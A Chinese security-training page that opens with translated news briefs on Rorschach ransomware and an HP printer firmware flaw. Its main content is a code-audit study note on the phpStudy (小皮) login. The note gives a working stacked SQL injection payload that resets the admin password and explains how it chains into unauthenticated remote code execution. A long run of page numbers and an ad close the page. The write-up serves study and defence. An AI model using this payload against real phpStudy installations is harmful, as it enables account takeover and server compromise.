https://www.bleepingcomputer.com/news/security/new-rorschach-ransomware-is-the-fastest-encryptor-seen-so-far/ 在一家美国公司遭到网络攻击后,研究人员发现了一种新型勒索软件,他们将其命名为Rorschach。研究人员测试了Rorschach的加密速度,并认为其为当今最快的勒索软件。Rorschach遵循间歇加密趋势,即只对文件进行部分加密,从而提高处理速度。当前,尚未有组织声称对Rorschach勒索软件负责,也没有品牌,这在勒索软件领域很少见。
10、惠普宣布将在90天内修补企业级打印机固件漏洞
https://www.bleepingcomputer.com/news/security/hp-to-patch-critical-bug-in-laserjet-printers-within-90-days/ 惠普在本周安全公告中宣布,将在90天内修复影响企业级打印机固件的严重漏洞。该漏洞编号为CVE-2023-1707,其CVSS v3.1标准计算出的严重性得分为 9.1(满分 10),并指出利用该漏洞可能允许攻击者访问易受攻击的HP打印机与网络上其他设备之间传输的敏感信息。惠普表示,目前没有可用的修复程序。对于运行 FutureSmart 5.6 的客户,建议的缓解措施是将其固件
免责声明
以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
小皮1-click漏洞的代码审计学习笔记
漏洞简介
漏洞起源于前段时间比较火的小皮 1-click 漏洞,用户名登录处缺少过滤,导致可以直接构造恶意 payload 实现存储型 XSS ,结合小皮本身所具有的计划任务,XSS + CSRF 实现了 RCE 。 因为用户名登录处缺少过滤,所以可以尝试 SQL 漏洞。
环境搭建
windows 上实际操作了一下,不方便进行分析
于是利用 linux 来进行复现分析,利用官网提供的方法执行,之后再回滚修改代码
wget -O install.sh https://download.xp.cn/install.sh && sudo bash install.sh
修改代码 web/service/app/account.php 中登录的部分
if($type=='login'){
$username = post('username');
$pwd = post('password');
$verifycode = post('verifycode');
$res = Account::login($username,$pwd,$verifycode);
xpexit(json_encode($res));
}
打开代码 /usr/local/phpstudy/web/service/app/account.php 修改代码
漏洞复现
windows
在用户登录处构造 payload 其中 PASSWORD 的值是经过五次 md5 加密后的结果
import hashlib
str = "123456"
for i in range(0,5):
str = hashlib.md5(str.encode()).hexdigest()
print(str)
admin';UPDATE ADMINS set PASSWORD = 'c26be8aaf53b15054896983b43eb6a65' where username = 'admin';--
虽然提示用户名密码错误,但是密码已经被更新,再次利用 admin/123456 成功登录
Linux
在用户登录处构造 payload
admin';UPDATE ADMINS set PASSWORD = 'c26be8aaf53b15054896983b43eb6a65' where username = 'admin';--
错误类型并不相同,但也成功的将密码修改
漏洞分析
查看开放端口信息 ,发现有两个端口与 phpstudy 的进程相关 9080、8090
9080 对应的是 web 端的信息 8090 对应的是二进制程序
外部访问不到 8090 端口 只能再内部构造数据进行通信
项目的代码在 /usr/local/phpstudy/web
web/service/app/account.php
web/service/app/model/Account.php
通过 POST 获取到的数据,利用 Socket 将数据发送到 8090 进行处理
我们可以根据代码逻辑伪造 socket 请求
{"command":"login","data":{"username":"admin","pwd":"123456"}}^^^
利用 strace 可以监控进程 strace -s4096 -tt -f -ewrite -p 49433 监控 phpstudy 的进程,发送错误的payload
{"command":"login","data":{"username":"admin'","pwd":"123456"}}^^^
获取到登录时对应的 SQL 语句
SELECT ID FROM ADMINS WHERE ALIAS = 'admin'' AND PASSWORD = 'c26be8aaf53b15054896983b43eb6a65' AND STATUS = 0
根据 SQL 语句可以构造恶意语句,构造恶意语句,执行错误的 SQL 语句后,程序会发生崩溃,所以无法利用万能密码登录。
这里我们可以思考利用堆叠注入,执行多个 SQL 语句,修改 admin 用户密码。我们构造这样的用户名
admin';UPDATE ADMINS set PASSWORD = 'c26be8aaf53b15054896983b43eb6a65' where username = 'admin';--
拼接到 SQL 语句中就为
SELECT ID FROM ADMINS WHERE ALIAS = 'admin';UPDATE ADMINS set PASSWORD = 'c26be8aaf53b15054896983b43eb6a65' where username = 'admin';--' AND PASSWORD = 'c26be8aaf53b15054896983b43eb6a65' AND STATUS = 0
最终执行的 SQL 语句为
SELECT ID FROM ADMINS WHERE ALIAS = 'admin';UPDATE ADMINS set PASSWORD = 'c26be8aaf53b15054896983b43eb6a65' where username = 'admin';
将用户 admin 的 密码修改为了 123456
再次登录时就可以使用 admin/123456 成功登录,再结合之前的 1-click RCE 中利用 phpstudy 后台计划任务执行,最终实现未授权 RCE 。
第一次登录时 使用 admin/123456 登录失败,提示用户名或者密码错误
输入构造的 payload
再次利用 admin/123456 登录成功,用户的密码已经被修改
第2页 第3页 第4页 第5页 第6页 第7页 第8页 第9页 第10页 第11页 第12页 第13页 第14页 第15页 第16页 第17页 第18页 第19页 第20页 第21页 第22页 第23页 第24页 第25页 第26页 第27页 第28页 第29页 第30页 第31页 第32页 第33页 第34页 第35页 第36页 第37页 第38页 第39页 第40页 第41页 第42页 第43页 第44页 第45页 第46页 第47页 第48页 第49页 第50页 第51页 第52页 第53页 第54页 第55页 第56页 第57页 第58页 第59页 第60页 第61页 第62页 第63页 第64页 第65页 第66页 第67页 第68页 第69页 第70页 第71页 第72页 第73页 第74页 第75页 第76页 第77页 第78页 第79页 第80页 第81页 第82页 第83页 第84页 第85页 第86页 第87页 第88页 第89页 第90页 第91页 第92页 第93页 第94页 第95页 第96页 第97页 第98页 第99页 第100页 第101页 第102页 第103页 第104页 第105页 第106页 第107页 第108页 第109页 第110页 第111页 第112页 第113页 第114页 第115页 第116页 第117页 第118页 第119页 第120页 第121页 第122页 第123页 第124页 第125页 第126页 第127页 第128页 第129页 第130页 第131页 第132页 第133页 第134页 第135页 第136页 第137页 第138页 第139页 第140页 第141页 第142页 第143页 第144页 第145页 第146页 第147页 第148页 第149页 第150页 第151页 第152页 第153页 第154页 第155页 第156页 第157页 第158页 第159页 第160页 第161页 第162页 第163页 第164页 第165页 第166页 第167页 第168页 第169页 第170页 第171页 第172页 第173页 第174页 第175页 第176页 第177页 第178页 第179页 第180页 第181页 第182页 第183页 第184页 第185页 第186页 第187页 第188页 第189页 第190页 第191页 第192页 第193页 第194页 第195页 第196页 第197页 第198页 第199页 第200页 第201页 第202页 第203页 第204页 第205页 第206页 第207页 第208页 第209页 第210页 第211页
蚁景网安学院火热招生中,限时领取大额优惠券,快来抢购吧~
扫码咨询客服了解招生最新内容和活动

